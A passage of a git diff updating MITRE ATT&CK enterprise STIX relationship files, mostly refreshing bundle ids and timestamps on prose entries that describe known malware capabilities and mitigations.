+            "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--bd8aaa70-710d-45a7-bb43-6b2e37f7c797.json b/enterprise-attack/relationship/relationship--bd8aaa70-710d-45a7-bb43-6b2e37f7c797.json
index fde8e52fc9..7439ad1236 100644
--- a/enterprise-attack/relationship/relationship--bd8aaa70-710d-45a7-bb43-6b2e37f7c797.json
+++ b/enterprise-attack/relationship/relationship--bd8aaa70-710d-45a7-bb43-6b2e37f7c797.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3b94bab6-dc67-48d1-9e49-a175e3078176",
+    "id": "bundle--1cb0893b-762f-4c4a-80a1-9651dcc60487",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bd8aaa70-710d-45a7-bb43-6b2e37f7c797",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can obtain information about the logged on user both locally and for Remote Desktop sessions.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--bdba5fef-c560-4b8a-9ce5-616395a73841.json b/enterprise-attack/relationship/relationship--bdba5fef-c560-4b8a-9ce5-616395a73841.json
index aa701b69ee..c3cbc2151c 100644
--- a/enterprise-attack/relationship/relationship--bdba5fef-c560-4b8a-9ce5-616395a73841.json
+++ b/enterprise-attack/relationship/relationship--bdba5fef-c560-4b8a-9ce5-616395a73841.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--63e2613b-0a95-488d-acdd-6a60fac44d37",
+    "id": "bundle--aacd004a-3028-46c8-a987-adfb4a2726d6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bdba5fef-c560-4b8a-9ce5-616395a73841",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Taidoor uses RC4 to encrypt the message body of HTTP content.",
             "source_ref": "intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46",
diff --git a/enterprise-attack/relationship/relationship--bdd223c2-8d3a-4c99-b261-402b7daaace5.json b/enterprise-attack/relationship/relationship--bdd223c2-8d3a-4c99-b261-402b7daaace5.json
new file mode 100644
index 0000000000..eaaa05e45e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--bdd223c2-8d3a-4c99-b261-402b7daaace5.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--9517cba1-4085-4acf-8aae-dc3457075daa",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--bdd223c2-8d3a-4c99-b261-402b7daaace5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b",
+            "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--bdd64378-e348-4156-8490-528392c6ea82.json b/enterprise-attack/relationship/relationship--bdd64378-e348-4156-8490-528392c6ea82.json
index 9a78796c20..54c38031d8 100644
--- a/enterprise-attack/relationship/relationship--bdd64378-e348-4156-8490-528392c6ea82.json
+++ b/enterprise-attack/relationship/relationship--bdd64378-e348-4156-8490-528392c6ea82.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--521c425e-6891-4f77-99ee-1e83a36ac079",
+    "id": "bundle--82d8de0c-57d1-45cb-865d-225ab91581a7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bdd64378-e348-4156-8490-528392c6ea82",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CallMe has the capability to download a file to the victim from the C2 server.",
             "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
diff --git a/enterprise-attack/relationship/relationship--bdde6ad0-b6eb-4e3a-80e4-8a9db6a9570d.json b/enterprise-attack/relationship/relationship--bdde6ad0-b6eb-4e3a-80e4-8a9db6a9570d.json
index 25c597979f..dcf102a288 100644
--- a/enterprise-attack/relationship/relationship--bdde6ad0-b6eb-4e3a-80e4-8a9db6a9570d.json
+++ b/enterprise-attack/relationship/relationship--bdde6ad0-b6eb-4e3a-80e4-8a9db6a9570d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a8d98661-2288-4414-aee6-297ee857d5a7",
+    "id": "bundle--4d13f4e8-bcf0-4609-aabb-eb52c4ade006",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bdde6ad0-b6eb-4e3a-80e4-8a9db6a9570d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot can disable Avira anti-virus.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
diff --git a/enterprise-attack/relationship/relationship--bde4d54d-16d7-4a07-a35a-9f0cc6956be2.json b/enterprise-attack/relationship/relationship--bde4d54d-16d7-4a07-a35a-9f0cc6956be2.json
index 341993a158..a158074d84 100644
--- a/enterprise-attack/relationship/relationship--bde4d54d-16d7-4a07-a35a-9f0cc6956be2.json
+++ b/enterprise-attack/relationship/relationship--bde4d54d-16d7-4a07-a35a-9f0cc6956be2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--63da2365-953a-47fd-a9ad-8239ee6590a1",
+    "id": "bundle--29eb8f74-e060-4bed-85a1-bb693be2a3f9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bde4d54d-16d7-4a07-a35a-9f0cc6956be2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.024Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe",
             "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
diff --git a/enterprise-attack/relationship/relationship--bde913a9-9895-4414-b79a-3156159033aa.json b/enterprise-attack/relationship/relationship--bde913a9-9895-4414-b79a-3156159033aa.json
index 93409fe915..9b4bfc0a3a 100644
--- a/enterprise-attack/relationship/relationship--bde913a9-9895-4414-b79a-3156159033aa.json
+++ b/enterprise-attack/relationship/relationship--bde913a9-9895-4414-b79a-3156159033aa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3aef1e70-78de-4b8a-86e3-c4db4357f640",
+    "id": "bundle--f217b8a9-b32a-4534-b268-cf97222e91c2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bde913a9-9895-4414-b79a-3156159033aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang is known to use RAR with passwords to encrypt data prior to exfiltration.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--bdee01a7-16cb-417e-8d9b-c98afd445bbc.json b/enterprise-attack/relationship/relationship--bdee01a7-16cb-417e-8d9b-c98afd445bbc.json
index 6acd1cb04b..5d1b4e83cf 100644
--- a/enterprise-attack/relationship/relationship--bdee01a7-16cb-417e-8d9b-c98afd445bbc.json
+++ b/enterprise-attack/relationship/relationship--bdee01a7-16cb-417e-8d9b-c98afd445bbc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--711bdf6d-e166-420a-baf9-6f2a693e37f0",
+    "id": "bundle--34b4015d-961c-46cb-8a09-1a9b5c8930ee",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bdee01a7-16cb-417e-8d9b-c98afd445bbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adversaries can instruct Duqu to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--be20faa9-64bf-4a65-86c2-dc12f5695d22.json b/enterprise-attack/relationship/relationship--be20faa9-64bf-4a65-86c2-dc12f5695d22.json
index 59e61d32f0..3215a2766a 100644
--- a/enterprise-attack/relationship/relationship--be20faa9-64bf-4a65-86c2-dc12f5695d22.json
+++ b/enterprise-attack/relationship/relationship--be20faa9-64bf-4a65-86c2-dc12f5695d22.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--113e8e29-df5b-4334-972c-5de5c863e0d5",
+    "id": "bundle--019d0d94-5203-41aa-92af-0f0fb62304bf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--be20faa9-64bf-4a65-86c2-dc12f5695d22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can track key presses with a keylogger module.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--be31bf6d-ce4f-4620-8940-445f35ff90a7.json b/enterprise-attack/relationship/relationship--be31bf6d-ce4f-4620-8940-445f35ff90a7.json
index de71960dfa..0bd1bfb8da 100644
--- a/enterprise-attack/relationship/relationship--be31bf6d-ce4f-4620-8940-445f35ff90a7.json
+++ b/enterprise-attack/relationship/relationship--be31bf6d-ce4f-4620-8940-445f35ff90a7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--35feebd8-201c-454a-a5dd-b2c913b0242e",
+    "id": "bundle--ad395080-d493-4062-88d4-23def402449a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--be31bf6d-ce4f-4620-8940-445f35ff90a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY downloads and executes additional PowerShell code and Windows binaries.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
diff --git a/enterprise-attack/relationship/relationship--be5dadd8-71ce-40ac-8858-5d5c5fbe0e96.json b/enterprise-attack/relationship/relationship--be5dadd8-71ce-40ac-8858-5d5c5fbe0e96.json
index d95774330d..43c5ffbd4b 100644
--- a/enterprise-attack/relationship/relationship--be5dadd8-71ce-40ac-8858-5d5c5fbe0e96.json
+++ b/enterprise-attack/relationship/relationship--be5dadd8-71ce-40ac-8858-5d5c5fbe0e96.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--03aa1068-e58d-4e79-8fc2-e0abb959da7c",
+    "id": "bundle--46c2b9d4-9666-434c-adb0-6267566e1eb4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--be5dadd8-71ce-40ac-8858-5d5c5fbe0e96",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After encrypting log files, the log encryption module in Prikormka deletes the original, unencrypted files from the host.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--bea7bd3c-1251-4858-8957-a6dc3bb840d2.json b/enterprise-attack/relationship/relationship--bea7bd3c-1251-4858-8957-a6dc3bb840d2.json
index 17d09f6ca0..c654476383 100644
--- a/enterprise-attack/relationship/relationship--bea7bd3c-1251-4858-8957-a6dc3bb840d2.json
+++ b/enterprise-attack/relationship/relationship--bea7bd3c-1251-4858-8957-a6dc3bb840d2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b70fa0f7-cf24-492b-a3ac-cba70e43f30a",
+    "id": "bundle--8de9ddd5-6df0-40cc-ac19-7feb47672652",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bea7bd3c-1251-4858-8957-a6dc3bb840d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The China Chopper backdoor is a Web shell that supports server payloads for many different kinds of server-side scripting languages and contains functionality to access files, connect to a database, and open a virtual command prompt.",
             "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
diff --git a/enterprise-attack/relationship/relationship--becf0a5e-4636-4d2f-bd4a-fd60b15ee74a.json b/enterprise-attack/relationship/relationship--becf0a5e-4636-4d2f-bd4a-fd60b15ee74a.json
index d08e0caf7a..e9ec375590 100644
--- a/enterprise-attack/relationship/relationship--becf0a5e-4636-4d2f-bd4a-fd60b15ee74a.json
+++ b/enterprise-attack/relationship/relationship--becf0a5e-4636-4d2f-bd4a-fd60b15ee74a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f9b600c2-d543-4ef1-b0b4-285ffe334a01",
+    "id": "bundle--6dbc16ce-4b54-431f-9d48-cd74a311e49a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--becf0a5e-4636-4d2f-bd4a-fd60b15ee74a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The gh0st RAT has a keylogger.",
             "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
diff --git a/enterprise-attack/relationship/relationship--bf8ae26c-c28c-4de7-a3e2-ad1a2851c1c0.json b/enterprise-attack/relationship/relationship--bf8ae26c-c28c-4de7-a3e2-ad1a2851c1c0.json
index f215b207b9..8d11593674 100644
--- a/enterprise-attack/relationship/relationship--bf8ae26c-c28c-4de7-a3e2-ad1a2851c1c0.json
+++ b/enterprise-attack/relationship/relationship--bf8ae26c-c28c-4de7-a3e2-ad1a2851c1c0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--09dcd8a9-e445-41ab-80ab-0165e160908e",
+    "id": "bundle--3bd10d21-6116-4c84-8600-84cf5b4c3802",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bf8ae26c-c28c-4de7-a3e2-ad1a2851c1c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CallMe uses AES to encrypt C2 traffic.",
             "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
diff --git a/enterprise-attack/relationship/relationship--bfd49393-75b6-4e67-af74-4bf3c87624b0.json b/enterprise-attack/relationship/relationship--bfd49393-75b6-4e67-af74-4bf3c87624b0.json
index db3daed91e..57c9ab6948 100644
--- a/enterprise-attack/relationship/relationship--bfd49393-75b6-4e67-af74-4bf3c87624b0.json
+++ b/enterprise-attack/relationship/relationship--bfd49393-75b6-4e67-af74-4bf3c87624b0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fb2f9896-2d24-4f51-93ed-e05454a0e1f7",
+    "id": "bundle--1092a10b-37ca-4b91-b64a-56b1a8bc2d5c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bfd49393-75b6-4e67-af74-4bf3c87624b0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FakeM contains a keylogger module.",
             "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
diff --git a/enterprise-attack/relationship/relationship--bfdffca9-6418-486d-833f-84f3920fcb71.json b/enterprise-attack/relationship/relationship--bfdffca9-6418-486d-833f-84f3920fcb71.json
index 3e5b5b3146..abda86f9c4 100644
--- a/enterprise-attack/relationship/relationship--bfdffca9-6418-486d-833f-84f3920fcb71.json
+++ b/enterprise-attack/relationship/relationship--bfdffca9-6418-486d-833f-84f3920fcb71.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a7186f7a-4215-4c42-b376-a0a8788a41fc",
+    "id": "bundle--3718a6ed-821c-4414-8dd6-d799798e66f7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bfdffca9-6418-486d-833f-84f3920fcb71",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HALFBAKED can execute PowerShell scripts.",
             "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
diff --git a/enterprise-attack/relationship/relationship--c008b7f3-0507-4987-a7e4-8c4d57cb4ca5.json b/enterprise-attack/relationship/relationship--c008b7f3-0507-4987-a7e4-8c4d57cb4ca5.json
index a861f0f1ce..4afa785ec7 100644
--- a/enterprise-attack/relationship/relationship--c008b7f3-0507-4987-a7e4-8c4d57cb4ca5.json
+++ b/enterprise-attack/relationship/relationship--c008b7f3-0507-4987-a7e4-8c4d57cb4ca5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--90c27289-cdf6-446d-95cf-b44140fdff06",
+    "id": "bundle--64c05dd9-c564-4d96-8db9-ebb67fc2a189",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c008b7f3-0507-4987-a7e4-8c4d57cb4ca5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky extracts basic information about the operating system.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
diff --git a/enterprise-attack/relationship/relationship--c0223316-4b0b-461e-8947-01c0f5baeef2.json b/enterprise-attack/relationship/relationship--c0223316-4b0b-461e-8947-01c0f5baeef2.json
index 30820e273c..144e905e0a 100644
--- a/enterprise-attack/relationship/relationship--c0223316-4b0b-461e-8947-01c0f5baeef2.json
+++ b/enterprise-attack/relationship/relationship--c0223316-4b0b-461e-8947-01c0f5baeef2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1aae8041-3d3c-411a-a134-b32b78667d7a",
+    "id": "bundle--c918c6bc-890e-4b2d-a571-e63d9eb838a1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c0223316-4b0b-461e-8947-01c0f5baeef2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains the takeScreenShot (along with startTakeScreenShot and stopTakeScreenShot) functions to take screenshots using the CGGetActiveDisplayList, CGDisplayCreateImage, and NSImage:initWithCGImage methods.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
diff --git a/enterprise-attack/relationship/relationship--c088f23e-b741-453c-a710-01990dead853.json b/enterprise-attack/relationship/relationship--c088f23e-b741-453c-a710-01990dead853.json
index 00d76e3a55..55ee1640bc 100644
--- a/enterprise-attack/relationship/relationship--c088f23e-b741-453c-a710-01990dead853.json
+++ b/enterprise-attack/relationship/relationship--c088f23e-b741-453c-a710-01990dead853.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--229d76e2-446d-41e2-ac48-060cb8de6e71",
+    "id": "bundle--0fb9fb9b-a6f0-4e0a-94ac-9777fff92fd9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c088f23e-b741-453c-a710-01990dead853",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Systeminfo can be used to gather information about the operating system.",
             "source_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
diff --git a/enterprise-attack/relationship/relationship--aee416ca-3c62-4080-b0f7-922e15f6fa1d.json b/enterprise-attack/relationship/relationship--c08ef8e9-9e12-4bb2-9e6a-061934f33ea0.json
similarity index 75%
rename from enterprise-attack/relationship/relationship--aee416ca-3c62-4080-b0f7-922e15f6fa1d.json
rename to enterprise-attack/relationship/relationship--c08ef8e9-9e12-4bb2-9e6a-061934f33ea0.json
index 0d1f6234ce..88882edc81 100644
--- a/enterprise-attack/relationship/relationship--aee416ca-3c62-4080-b0f7-922e15f6fa1d.json
+++ b/enterprise-attack/relationship/relationship--c08ef8e9-9e12-4bb2-9e6a-061934f33ea0.json
@@ -1,18 +1,18 @@
 {
     "type": "bundle",
-    "id": "bundle--7bf6448c-12b9-4c10-a22d-b11001eca1fc",
+    "id": "bundle--bd60a6cb-82bd-4e9d-85a7-15abf79b1260",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "relationship",
-            "id": "relationship--aee416ca-3c62-4080-b0f7-922e15f6fa1d",
+            "id": "relationship--c08ef8e9-9e12-4bb2-9e6a-061934f33ea0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Komplex C2 channel uses an 11-byte XOR algorithm to hide data .",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
-            "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
+            "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
             "external_references": [
                 {
                     "source_name": "Sofacy Komplex Trojan",
diff --git a/enterprise-attack/relationship/relationship--c0905059-1f3c-414c-8027-b8ec2e4b3c89.json b/enterprise-attack/relationship/relationship--c0905059-1f3c-414c-8027-b8ec2e4b3c89.json
index 73c84dd301..82264fd9d7 100644
--- a/enterprise-attack/relationship/relationship--c0905059-1f3c-414c-8027-b8ec2e4b3c89.json
+++ b/enterprise-attack/relationship/relationship--c0905059-1f3c-414c-8027-b8ec2e4b3c89.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c103d5c0-b57a-4c0f-8a7f-d01c4d23ddf9",
+    "id": "bundle--7a89ef8a-a7f5-4f8a-8b41-a5dcb838b2dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c0905059-1f3c-414c-8027-b8ec2e4b3c89",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "When the Duqu command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--c0b07b4a-d421-4faa-8564-4cc89668afac.json b/enterprise-attack/relationship/relationship--c0b07b4a-d421-4faa-8564-4cc89668afac.json
index 05ccb6f1ab..b267777ecd 100644
--- a/enterprise-attack/relationship/relationship--c0b07b4a-d421-4faa-8564-4cc89668afac.json
+++ b/enterprise-attack/relationship/relationship--c0b07b4a-d421-4faa-8564-4cc89668afac.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d5810459-f159-4cec-a530-47b95de54c64",
+    "id": "bundle--14d828ad-3594-4b6f-a069-71ecafb703c8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c0b07b4a-d421-4faa-8564-4cc89668afac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.023Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae",
             "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
diff --git a/enterprise-attack/relationship/relationship--c0e78590-0266-43e0-8fb5-efd95556c20c.json b/enterprise-attack/relationship/relationship--c0e78590-0266-43e0-8fb5-efd95556c20c.json
index e50ee92377..333826410f 100644
--- a/enterprise-attack/relationship/relationship--c0e78590-0266-43e0-8fb5-efd95556c20c.json
+++ b/enterprise-attack/relationship/relationship--c0e78590-0266-43e0-8fb5-efd95556c20c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ce0c505b-f6ca-41bc-b958-daf535e188c7",
+    "id": "bundle--3bbb4961-f551-4275-a2bc-d31e2292d311",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c0e78590-0266-43e0-8fb5-efd95556c20c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL compresses output data generated by command execution with a custom implementation of the Lempel\u2013Ziv\u2013Welch (LZW) algorithm.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--c1421d39-cb5d-4bac-a931-9c641066c0fd.json b/enterprise-attack/relationship/relationship--c1421d39-cb5d-4bac-a931-9c641066c0fd.json
index 7acea2ae21..07f461c8f2 100644
--- a/enterprise-attack/relationship/relationship--c1421d39-cb5d-4bac-a931-9c641066c0fd.json
+++ b/enterprise-attack/relationship/relationship--c1421d39-cb5d-4bac-a931-9c641066c0fd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--95a11749-472c-487f-bada-ba04baf570a4",
+    "id": "bundle--e8d7e11c-842b-40da-a3b1-f2e376abff68",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c1421d39-cb5d-4bac-a931-9c641066c0fd",
